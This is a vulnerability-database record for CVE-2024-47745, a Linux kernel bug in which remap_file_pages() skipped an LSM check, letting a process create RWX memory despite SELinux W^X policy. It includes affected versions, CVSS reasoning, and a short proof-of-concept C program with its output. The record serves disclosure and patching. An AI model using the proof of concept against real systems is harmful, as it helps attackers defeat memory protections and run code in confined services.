CVE-2024-47745 (GCVE-0-2024-47745)
Vulnerability from cvelistv5
Published
2024-10-21 12:14
Modified
2026-08-05 11:39
Severity ?
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
References
Impacted products
Vendor Product Version
Linux Linux Version: c8d78c1823f46519473949d33f0d1d33fe21ea16
Version: c8d78c1823f46519473949d33f0d1d33fe21ea16
Version: c8d78c1823f46519473949d33f0d1d33fe21ea16
Version: c8d78c1823f46519473949d33f0d1d33fe21ea16
Version: c8d78c1823f46519473949d33f0d1d33fe21ea16
Version: 097f98edde717ce09f217d8a285fe357dcd29fd1
Version: 3.16.59   ≤
Create a notification for this product.
Show details on NVD website

To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47745",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:58:41.257228Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:13.918Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:40:38.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "mm/mmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "3393fddbfa947c8e1fdcc4509226905ffffd8b89",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "ea7e2d5e49c05e5db1922387b09ca74aa40f46e2",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "097f98edde717ce09f217d8a285fe357dcd29fd1",
              "versionType": "git"
            },
            {
              "lessThan": "3.17",
              "status": "affected",
              "version": "3.16.59",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "mm/mmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.0"
            },
            {
              "lessThan": "4.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.120",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.59",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "scenarios": [
            {
              "lang": "en",
              "value": "AV:L - The bypass is performed entirely through local syscalls (`memfd_create`/`mmap`/`personality`/`remap_file_pages`) operating on the calling task\u0027s own `mm_struct`. There is no network- or adjacent-reachable path into `SYSCALL_DEFINE5(remap_file_pages)`.\nAC:L - The commit\u0027s PoC is fully deterministic \u2014 no race, no heap grooming, no memory-layout dependency \u2014 and the attacker controls every input. SELinux in enforcing mode with a W^X policy is the default on Android, RHEL/CentOS and Fedora, so the required configuration is common rather than rare.\nPR:L - Any unprivileged local process can do this: `personality()` in `kernel/exec_domain.c:38` performs no capability check, and `remap_file_pages` has no privilege gate whatsoever. No user namespace trick is even needed.\nUI:N - The attacking process performs the entire sequence against its own address space in one self-contained program. No victim action, file open, or mount is required.\nS:U - The vulnerable code and the impacted resource are both governed by the kernel\u0027s own security authority, and the resulting RWX mapping lives in the attacker\u0027s own address space. This is a MAC-policy/mitigation bypass, not a VM, IOMMU, or hypervisor boundary crossing.\nC:H - Defeating W^X lets an attacker inject and run arbitrary code inside an SELinux-confined domain, which yields unrestricted read of all data and credentials that domain can reach (e.g. a confined network daemon\u0027s keys or an Android system service\u0027s data). The skipped hook also drops the `file { read/write/map }` re-validation entirely.\nI:H - The whole purpose of the SELinux `execmem`/`file execute` checks is to stop a memory-write primitive from becoming code execution; bypassing them gives the attacker arbitrary code execution in the confined domain and full modification of anything it controls. This is the same integrity impact as the analogous AIO W^X bypass, CVE-2016-10044.\nA:H - Arbitrary code execution inside a confined domain lets the attacker fully disrupt or terminate the affected service, and the mitigation bypass is the enabling step that completes exploit chains whose payloads can crash or hang the system. Following the higher-severity convention where the ceiling of the bypass is complete compromise of the confined component."
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-05T11:39:53.925Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
        },
        {
          "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
        }
      ],
      "title": "mm: call the security_mmap_file() LSM hook in remap_file_pages()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47745",
    "datePublished": "2024-10-21T12:14:12.488Z",
    "dateReserved": "2024-09-30T16:00:12.960Z",
    "dateUpdated": "2026-08-05T11:39:53.925Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html\"}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2025-11-03T20:40:38.700Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-47745\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-10-21T12:58:41.257228Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-10-21T12:58:44.380Z\"}}], \"cna\": {\"title\": \"mm: call the security_mmap_file() LSM hook in remap_file_pages()\", \"metrics\": [{\"cvssV3_1\": {\"version\": \"3.1\", \"baseScore\": 7.8, \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"AV:L - The bypass is performed entirely through local syscalls (`memfd_create`/`mmap`/`personality`/`remap_file_pages`) operating on the calling task\u0027s own `mm_struct`. There is no network- or adjacent-reachable path into `SYSCALL_DEFINE5(remap_file_pages)`.\\nAC:L - The commit\u0027s PoC is fully deterministic \\u2014 no race, no heap grooming, no memory-layout dependency \\u2014 and the attacker controls every input. SELinux in enforcing mode with a W^X policy is the default on Android, RHEL/CentOS and Fedora, so the required configuration is common rather than rare.\\nPR:L - Any unprivileged local process can do this: `personality()` in `kernel/exec_domain.c:38` performs no capability check, and `remap_file_pages` has no privilege gate whatsoever. No user namespace trick is even needed.\\nUI:N - The attacking process performs the entire sequence against its own address space in one self-contained program. No victim action, file open, or mount is required.\\nS:U - The vulnerable code and the impacted resource are both governed by the kernel\u0027s own security authority, and the resulting RWX mapping lives in the attacker\u0027s own address space. This is a MAC-policy/mitigation bypass, not a VM, IOMMU, or hypervisor boundary crossing.\\nC:H - Defeating W^X lets an attacker inject and run arbitrary code inside an SELinux-confined domain, which yields unrestricted read of all data and credentials that domain can reach (e.g. a confined network daemon\u0027s keys or an Android system service\u0027s data). The skipped hook also drops the `file { read/write/map }` re-validation entirely.\\nI:H - The whole purpose of the SELinux `execmem`/`file execute` checks is to stop a memory-write primitive from becoming code execution; bypassing them gives the attacker arbitrary code execution in the confined domain and full modification of anything it controls. This is the same integrity impact as the analogous AIO W^X bypass, CVE-2016-10044.\\nA:H - Arbitrary code execution inside a confined domain lets the attacker fully disrupt or terminate the affected service, and the mitigation bypass is the enabling step that completes exploit chains whose payloads can crash or hang the system. Following the higher-severity convention where the ceiling of the bypass is complete compromise of the confined component.\"}]}], \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"3393fddbfa947c8e1fdcc4509226905ffffd8b89\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"097f98edde717ce09f217d8a285fe357dcd29fd1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"3.16.59\", \"lessThan\": \"3.17\", \"versionType\": \"semver\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.0\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.0\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"6.1.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.54\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.10.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.10.*\"}, {\"status\": \"unaffected\", \"version\": \"6.11.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.11.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\"}, {\"url\": \"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\"}, {\"url\": \"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\"}, {\"url\": \"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\"}, {\"url\": \"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.120\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.54\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.10.13\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.11.2\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionStartIncluding\": \"3.16.59\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-08-05T11:39:53.925Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-47745\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-05T11:39:53.925Z\", \"dateReserved\": \"2024-09-30T16:00:12.960Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2024-10-21T12:14:12.488Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.